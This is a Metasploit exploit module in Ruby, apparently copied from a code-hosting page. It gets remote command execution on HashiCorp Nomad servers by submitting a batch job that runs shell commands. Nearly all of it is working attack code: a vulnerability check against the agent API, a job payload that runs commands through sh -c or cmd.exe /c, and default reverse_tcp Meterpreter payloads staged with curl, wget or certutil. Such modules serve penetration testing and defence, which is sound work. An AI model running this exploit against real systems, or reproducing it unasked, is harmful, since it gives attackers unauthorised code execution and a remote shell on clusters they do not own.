200 lines
6.0 KiB
Ruby
200 lines
6.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'HashiCorp Nomad Remote Command Execution',
|
|
'Description' => %q{
|
|
Create a batch job on HashiCorp's Nomad service to spawn a shell. The default option
|
|
is to use the 'raw_exec' driver, which runs with high privileges. Development servers
|
|
and client's explicitly enabling the 'raw_exec' plugin can spawn these type of jobs.
|
|
Regular 'exec' jobs can be created in a similar fashion at a lower privilege level.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Wyatt Dahlenburg (@wdahlenb)',
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://www.nomadproject.io/' ]
|
|
],
|
|
'Targets' => [
|
|
[
|
|
'Linux',
|
|
{
|
|
'Platform' => 'linux',
|
|
'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
|
|
}
|
|
],
|
|
[
|
|
'Windows',
|
|
{
|
|
'Platform' => 'win',
|
|
'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'certutil', 'vbs' ],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
|
|
}
|
|
]
|
|
],
|
|
'Payload' => {},
|
|
'Privileged' => false,
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2021-05-17',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
|
|
OptString.new('DATACENTER', [true, 'The datacenter to run against', 'dc1']),
|
|
OptString.new('JOB_NAME', [true, 'Name of job to run (default random)', '']),
|
|
OptString.new('JOB_TYPE', [true, 'Driver (raw_exec or exec)', 'raw_exec']),
|
|
Opt::RPORT(4646),
|
|
OptString.new('TARGETURI', [true, 'The base path', '/']),
|
|
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
|
|
'headers' => {
|
|
'X-Nomad-Token' => datastore['ACL_TOKEN']
|
|
}
|
|
})
|
|
|
|
unless res
|
|
vprint_error 'Connection failed'
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
unless res.code == 200
|
|
vprint_error 'Unexpected reply'
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
agent_info = JSON.parse(res.body)
|
|
|
|
if agent_info['config']['Plugins']
|
|
agent_info['config']['Plugins'].each do |plugin|
|
|
if plugin['Name'] == 'raw_exec' && plugin['Config']['enabled'] == true
|
|
return CheckCode::Vulnerable
|
|
end
|
|
end
|
|
end
|
|
|
|
if agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == 'true' || agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == '1'
|
|
return CheckCode::Vulnerable
|
|
end
|
|
|
|
if datastore['JOB_TYPE'] == 'raw_exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
|
|
print_status 'raw_exec doesn\'t appear to be supported. Try setting JOB_TYPE to exec instead.'
|
|
return CheckCode::Appears
|
|
elsif datastore['JOB_TYPE'] == 'exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
|
|
return CheckCode::Vulnerable
|
|
end
|
|
|
|
CheckCode::Safe
|
|
rescue JSON::ParserError
|
|
vprint_error 'Failed to parse JSON output.'
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
uri = target_uri.path
|
|
job_name = datastore['JOB_NAME'] == '' ? Rex::Text.rand_text_alpha(5..10) : datastore['JOB_NAME']
|
|
print_status("Creating job '#{job_name}'")
|
|
|
|
case target.name
|
|
when /Linux/
|
|
arg1 = 'sh'
|
|
arg2 = '-c'
|
|
when /Windows/
|
|
arg1 = 'cmd.exe'
|
|
arg2 = '/c'
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'PUT',
|
|
'uri' => normalize_uri(uri, 'v1/jobs'),
|
|
'headers' => {
|
|
'X-Nomad-Token' => datastore['ACL_TOKEN']
|
|
},
|
|
'ctype' => 'application/json',
|
|
'data' => {
|
|
Job: {
|
|
ID: job_name,
|
|
Name: job_name,
|
|
Type: 'batch',
|
|
Datacenters: [datastore['DATACENTER']],
|
|
TaskGroups: [
|
|
{
|
|
Name: job_name,
|
|
Count: 1,
|
|
Tasks: [
|
|
{
|
|
Name: job_name,
|
|
Driver: datastore['JOB_TYPE'],
|
|
User: '',
|
|
Config: {
|
|
command: arg1,
|
|
args: [
|
|
arg2,
|
|
cmd.to_s
|
|
]
|
|
},
|
|
Resources: {
|
|
CPU: 500,
|
|
MemoryMB: 256
|
|
},
|
|
LogConfig: {
|
|
MaxFiles: 1,
|
|
MaxFileSizeMB: 1
|
|
}
|
|
}
|
|
],
|
|
RestartPolicy: {
|
|
Attempts: 0
|
|
},
|
|
EphemeralDisk: {
|
|
SizeMB: 300
|
|
}
|
|
}
|
|
]
|
|
}
|
|
}.to_json
|
|
})
|
|
unless res && res.code == 200
|
|
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Nomad API.')
|
|
end
|
|
|
|
job_info = JSON.parse(res.body)
|
|
eval_id = job_info['EvalID']
|
|
|
|
print_status("Job '#{job_name}' successfully created as '#{eval_id}'.")
|
|
print_status("Waiting for job '#{job_name}' to trigger")
|
|
rescue JSON::ParserError
|
|
vprint_error 'Failed to parse JSON output.'
|
|
end
|
|
|
|
def exploit
|
|
execute_cmdstager
|
|
end
|
|
end
|